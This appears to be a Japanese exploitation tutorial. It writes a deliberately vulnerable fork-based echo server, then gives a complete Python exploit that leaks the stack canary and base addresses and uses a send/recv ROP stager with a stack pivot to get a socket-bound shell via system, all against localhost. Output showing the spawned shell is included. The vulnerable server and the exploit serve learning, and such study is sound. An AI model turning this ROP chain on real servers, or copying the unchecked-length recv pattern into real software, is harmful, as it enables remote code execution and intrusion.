buffer over-readおよびスタックバッファオーバーフローを利用し、ASLR+PIE+DEP+SSP(+RELRO)がすべて有効な条件下におけるシェル起動をやってみる。 なお、ここではGOT overwriteなどは行わないため、RELROの有無に意味はない。
環境
Ubuntu 12.04 LTS 32bit版
$ uname -a Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 12.04.4 LTS Release: 12.04 Codename: precise $ gcc --version gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
脆弱性のあるプログラムを用意する
buffer over-readおよびスタックバッファオーバーフローが起こせるforkサーバを書いてみる。
/* echod.c */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <unistd.h> #include <stdlib.h> void handle_client(int c) { char buf[100]; int size; recv(c, &size, 4, 0); recv(c, buf, size, 0); send(c, buf, size, 0); } int main(int argc, char *argv[]) { int s, c; struct sockaddr_in addr; int port; int pid; port = atoi(argv[1]); s = socket(AF_INET, SOCK_STREAM, 0); addr.sin_family = AF_INET; addr.sin_port = htons(port); addr.sin_addr.s_addr = INADDR_ANY; bind(s, (struct sockaddr *)&addr, sizeof(addr)); listen(s, 5); while (1) { c = accept(s, NULL, NULL); pid = fork(); if (pid == 0) { close(s); handle_client(c); close(c); return 0; } else { close(c); } } }
このプログラムは、第一引数に待ち受けるポート番号を取る。 起動したサーバは接続が確立した後まず最初の4バイトでデータ長を受け取り、その後に続くデータをそのままクライアントに送り返す。
ASLR+PIE+DEP+SSP(+RERLO)有効にてコンパイルし、サーバを起動してみる。
$ sudo sysctl -w kernel.randomize_va_space=2 kernel.randomize_va_space = 2 $ gcc -fPIE -pie -Wl,-z,relro,-z,now echod.c $ ./a.out 5000 & [1] 5119
ここでchecksec.shを使い、各種セキュリティ機構の有無を確認すると次のようになる。
$ wget http://www.trapkit.de/tools/checksec.sh $ chmod +x checksec.sh $ ./checksec.sh --file a.out RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH a.out
RELRO、SSP (Stack canary)、DEP (NX)、PIEがすべて有効になっていることがわかる。
エクスプロイトコードを書いてみる
send/recvを使ったROP stagerによるエクスプロイトコードを書くと、次のようになる。
# exploit.py import struct import socket import telnetlib bufsize = 100 sock_fd = 4 stack_size = 0x800 offset_retaddr = 0x8d2 # objdump -d a.out | grep -A1 '<handle_client>' offset_bss = 0x2008 # readelf -S a.out offset_got = 0x1fac # readelf -S a.out offset_plt_recv = 0x610 # objdump -d -j.plt a.out offset_plt_send = 0x630 # objdump -d -j.plt a.out offset_got_start = offset_got + 0x20 # objdump -d -j.plt a.out offset_pop4 = 0x96c # objdump -d a.out offset_pop_ebp = 0x6fe # objdump -d a.out offset_pop_ebx = 0x540 # objdump -d a.out offset_leave_ret = 0x908 # objdump -d a.out offset_libc_start = 0x000193e0 # nm -D /lib/i386-linux-gnu/libc-2.15.so | grep " __libc_start_main" offset_libc_system = 0x0003f430 # nm -D /lib/i386-linux-gnu/libc-2.15.so | grep " system" offset_libc_exit = 0x00032fb0 # nm -D /lib/i386-linux-gnu/libc-2.15.so | grep " exit" size = bufsize + 20 buf = 'AAAA' s = socket.create_connection(('localhost', 5000)) s.sendall(struct.pack('<I', size)) s.sendall(buf) data = s.recv(size) print "[+] received: %r" % data s.close() canary = data[bufsize:bufsize+4] retaddr = struct.unpack('<I', data[bufsize+16:bufsize+16+4])[0] print "[+] canary = %r" % canary print "[+] retaddr = %08x" % retaddr base_bin = retaddr - offset_retaddr print "[+] base_bin = %08x" % base_bin buf = 'A' * bufsize buf += canary buf += 'AAAA' * 3 buf += struct.pack('<I', base_bin + offset_pop_ebx) buf += struct.pack('<I', base_bin + offset_got) buf += struct.pack('<I', base_bin + offset_plt_send) buf += struct.pack('<I', base_bin + offset_pop4) buf += struct.pack('<I', sock_fd) buf += struct.pack('<I', base_bin + offset_got_start) buf += struct.pack('<I', 4) buf += struct.pack('<I', 0) buf += struct.pack('<I', base_bin + offset_pop_ebx) buf += struct.pack('<I', base_bin + offset_got) buf += struct.pack('<I', base_bin + offset_plt_recv) buf += struct.pack('<I', base_bin + offset_pop4) buf += struct.pack('<I', sock_fd) buf += struct.pack('<I', base_bin + offset_bss + stack_size) buf += struct.pack('<I', 100) buf += struct.pack('<I', 0) buf += struct.pack('<I', base_bin + offset_pop_ebp) buf += struct.pack('<I', base_bin + offset_bss + stack_size) buf += struct.pack('<I', base_bin + offset_leave_ret) size = len(buf) s = socket.create_connection(('localhost', 5000)) s.sendall(struct.pack('<I', size)) s.sendall(buf) data = s.recv(4) addr_libc_start = struct.unpack('<I', data)[0] print "[+] addr_libc_start = %08x" % addr_libc_start base_libc = addr_libc_start - offset_libc_start print "[+] base_libc = %08x" % base_libc buf = 'AAAA' buf += struct.pack('<I', base_libc + offset_libc_system) buf += struct.pack('<I', base_libc + offset_libc_exit) buf += struct.pack('<I', base_bin + offset_bss + stack_size + 20) buf += struct.pack('<I', 0) buf += '/bin/sh <&4 >&4\x00' buf += 'A' * (100-len(buf)) s.sendall(buf) t = telnetlib.Telnet() t.sock = s t.interact() s.close()
このコードは引数は取らない。
このコードは、まずbuffer over-readによりcanaryとリターンアドレスの値を読み出す。 ここで、リターンアドレスにはmain関数においてhandle_clientを呼んだ後の命令のアドレスが入る。 つまり、実行ファイル中におけるその命令のオフセットをリターンアドレスから引くことで、実行ファイルが置かれたベースアドレスが計算できる。 ここで一度コネクションが切れ、次のコネクションでは接続先のプロセスが異なるものとなるが、同一の親プロセスからforkしているためcanaryやメモリレイアウトは共通となる。
次に、実行ファイルのベースアドレスをもとにsend/recvを使ったROP stagerを送り込む。
これが実行されると、sendにより__libc_start_main関数のアドレスを読み出した後、recvによりBSSセクションから0x800バイト先にデータが読み込まれる。
そして、pop ebp; ret
とleave; ret
により読み込み先のアドレスにstack pivotを行う。
最後に、__libc_start_main関数のアドレスからlibcのベースアドレスを計算し、system関数によりシェル起動を行うROPシーケンスを送り込む。 ここでsystem関数の引数には、標準入出力をソケットに繋いだ上でシェルを起動するコマンド文字列を指定する。
なお、PIEが有効な場合において、PLTセクションをディスアセンブルすると次のようになる。
$ objdump -d -j.plt a.out 000005b0 <__libc_start_main@plt>: 5b0: ff a3 20 00 00 00 jmp DWORD PTR [ebx+0x20] 5b6: 68 28 00 00 00 push 0x28 5bb: e9 90 ff ff ff jmp 550 <_init+0x3c>
ここでGOTアドレスがebx+0x20
として参照されているが、このebxにはGOTセクションの先頭アドレスが入る。
したがって、readelf -S a.out
などによりGOTセクションのオフセットを調べておくことで、実行ファイル全体におけるGOTアドレスのオフセットが計算できる。
また、PLTセクションにreturnする前にはebxにGOTセクションのアドレスをセットしておく必要がある。
実行してみると、次のようになる。
$ python exploit.py [+] received: 'AAAA09\xfd\xbf\xff\x0f\x00\x00\xd6\x84h\xb7u\x85h\xb7\xaf\xcel\xb7\xc0\xaa{\xb7\x00\x00\x00\x00\x08$\xfd\xbf7\x83d\xb709\xfd\xbf\x00\x00\x00\x00\n\x00\x00\x00\x00\x00\x00\x00\x009a\xb7\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbf#\xfd\xbf\xfd\x82d\xb7\xac\xaf~\xb7\xf4\x9f{\xb709\xfd\xbf\x00\x00\x00\x00K\xcdl\xb7\x00\x84 \xe9\x00\x00\x00\x00\xac\xaf~\xb7\x08$\xfd\xbf\xd2\x98~\xb7' [+] canary = '\x00\x84 \xe9' [+] retaddr = b77e98d2 [+] base_bin = b77e9000 [+] addr_libc_start = b762d3e0 [+] base_libc = b7614000 id[ENTER] uid=1000(user) gid=1000(user) groups=1000(user) [CTRL+D]
canaryの値、実行ファイルのベースアドレス、libcのベースアドレスを順に得た後、シェルが起動できていることが確認できた。